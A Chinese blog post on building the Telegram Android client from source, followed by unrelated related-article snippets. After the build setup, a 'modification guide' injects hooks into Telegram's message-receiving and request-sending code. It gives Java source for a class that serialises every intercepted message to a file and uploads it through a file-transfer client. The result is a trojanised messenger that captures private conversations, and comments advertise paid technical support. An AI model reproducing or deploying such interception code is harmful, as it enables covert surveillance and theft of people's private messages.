android studio 编译Telegram源码经验总结(2023-11-05)

news/2024/7/16 9:09:08 标签: android studio, android, ide

前言


Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。


一、android telegram源码下载地址:
 

github: https://github.com/DrKLO/Telegram.git

二、编译环境的选择:

Windows 版本:10 64位;
Android studio 版本:(2022.3.1)最新版本;
Android SDK 版本:Android studio自带;
Android Gradle Plugin 版本:Version 7.03   (源码版本);
Gradle Version 版本:7.02  (源码版本);
Android ndk 版本:21.4.7075529;
Gradle JDK 版本:11.0.2;

  编译环境说明:
       1、Android studio 


        Android studio 可以采用最新版本;


       2、Android Gradle Plugin Version与Gradle Version


       编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,
要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!


       3、Android ndk 要用21.4.7075529版本,与源码保持一致;


       4、Gradle JDK 版本:11.0.2,

必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version不兼容,走了许多弯路。


       5、Android studio提示升级Gradle版本时,千万不要升级!!!


       按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!
能编译成功,才能为后续修改打下基础!!!

三、编译指南


    按项目编译指南,完成以下工作:


1、获取api_id


    申请地址:https://my.telegram.org/

2、将您的release.keystore复制到TMessagesProj/config中


在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore


3、google-services.json


转到 https://console.firebase.google.com/,使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。


4、BuildVars.java 


在 Studio 中打开项目(请注意,应该打开它,而不是导入)
在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。
替换你在控制台创建的获取的 APP_ID 和 APP_HASH


5、API、协议文档


Telegram API 手册:https://core.telegram.org/api

MTproto协议手册:https://core.telegram.org/mtproto

四、修改指南


    将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。


1、添加依赖库


implementation 'org.apache.commons:commons-lang3:3.6'


2、创建RecursiveToStringStyle.java,将tg数据转为字符串并格式化


3、增加LauchInfo.java,以拦截并保存telegram消息。

package ftc;

import android.content.Context;

import java.io.Closeable;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
//技术支持:~~~~39848872
public class LauchInfo {
    public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
    private static String local_path;
    private static String local_dir;
    private static String filename;
    private static Context g_context;
    //接收telegram消息,并转换为格式化字符串,以便保存分析。	
    public static void get(Object value){
        String content=RecursiveToStringStyle.toString(value);
        if(content!=null&&content.equals("")==false)
            SaveContent(content);
    }
    //技术支持:+~~~~byc6352
    public static void get(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        MyLog.i(say + "\n" + content);

    }
    public static void log(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        String text = say + "\n" + content;
        MyLog.i(text);
    }

    public static void SaveContent(String content){
        try {
            MyLog.i(content);
            String time = DEFAULT_SDF.format(new Date());
            String text=time+"\r\n"+content+"\r\n";
            saveInfo2File(text,filename,true);
            FileTransferClient.getInstance().uploadfile(filename,false);
        } catch (Exception e) {
            MyLog.e( "SaveContent:"+e.getMessage());
        }
    }


    /**
     * 保存信息到文件中
     *
     * @param ex
     * @return
     */
    public static boolean saveInfo2File(String info,String filename,boolean append) {
        if (info == null || filename == null) return false;
        FileWriter fileWriter = null;
        try {
            fileWriter = new FileWriter(new File(filename), append);
            fileWriter.write(info);
            return true;
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        } finally {
            closeIO(fileWriter);
        }

    }
    /**
     * 关闭IO
     *
     * @param closeable closeable
     */
    public  static void closeIO(Closeable closeable) {
        if (closeable == null) return;
        try {
            closeable.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public  static void getWorkDir(Context context){
        local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;
        local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;
        filename=local_path+"info.txt";
        g_context=context.getApplicationContext();
    }
}

3、拦截telegram收到的消息


在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

注入MessagesController.java消息接收

4、拦截telegram向服务器发送的请求与应答


在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

注入ConnectionsManager发送请求

至此可以快乐地抓取tg数据了!


http://www.niftyadmin.cn/n/5153394.html

相关文章

【JavaSE语法】类和对象(一)

一、面向对象的初步认知 1.1 什么是面向对象 Java是一门纯面向对象的语言(Object Oriented Program,简称OOP),在面向对象的世界里,一切皆为对象。面向对象是解决问题的一种思想,主要依靠对象之间的交互完成一件事情 …

NLP入门——基础知识

生成式AI和AIGC: 生成式AI所生成的内容就是AIGC AI的Venn图: 注意: 监督学习(训练数据带标签): 经典的监督学习任务包括分类(划分类别)和回归(预测)&#x…

基于8086电压表系统仿真系统设计

**单片机设计介绍,1665基于8051单片机与1601LCD的计算器设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 一个基于8086的电压表系统仿真系统可以分为硬件和软件两部分。 硬件部分包括输入设备(例如模拟…

在本地安装LLAMA 2

方法一: Meta已将llama2开源,任何人都可以通过在meta ai上申请并接受许可证、提供电子邮件地址来获取模型。 Meta 将在电子邮件中发送下载链接。 下载llama2 获取download.sh文件,将其存储在mac上打开mac终端,执行 chmod x ./do…

运维知识点-Docker从小白到入土

Docker从小白到入土 安装问题-有podmanCentos8使用yum install docker -y时,默认安装的是podman-docker软件 安装docker启动dockeryum list installed | grep dockeryum -y remove xxxx安装Docker安装配置下载安装docker启动docker,并设置开机启动下载所…

【PyTorch实战演练】AlexNet网络模型构建并使用Cifar10数据集进行批量训练(附代码)

目录 0. 前言 1. Cifar10数据集 2. AlexNet网络模型 2.1 AlexNet的网络结构 2.2 激活函数ReLu 2.3 Dropout方法 2.4 数据增强 3. 使用GPU加速进行批量训练 4. 网络模型构建 5. 训练过程 6. 完整代码 0. 前言 按照国际惯例,首先声明:本文只是我…

05 行列式

行列式 面积变化行列式空间定向改变三维空间行列式的计算 这是关于3Blue1Brown "线性代数的本质"的学习笔记。 面积变化 线性变换会使得基向量 i ⃗ \vec{i} i 和 j ⃗ \vec{j} j ​围城的区域面积被缩放。 图1 线性变换可能会使得基向量 i ⃗ \vec{i} i 和 j ⃗ …

Java21新特性

一、Java21新特性 1、字符串模版 字符串模版可以让开发者更简洁的进行字符串拼接(例如拼接sql,xml,json等)。该特性并不是为字符串拼接运算符提供的语法,也并非为了替换StringBuffer和StringBuilder。 利用STR模版进…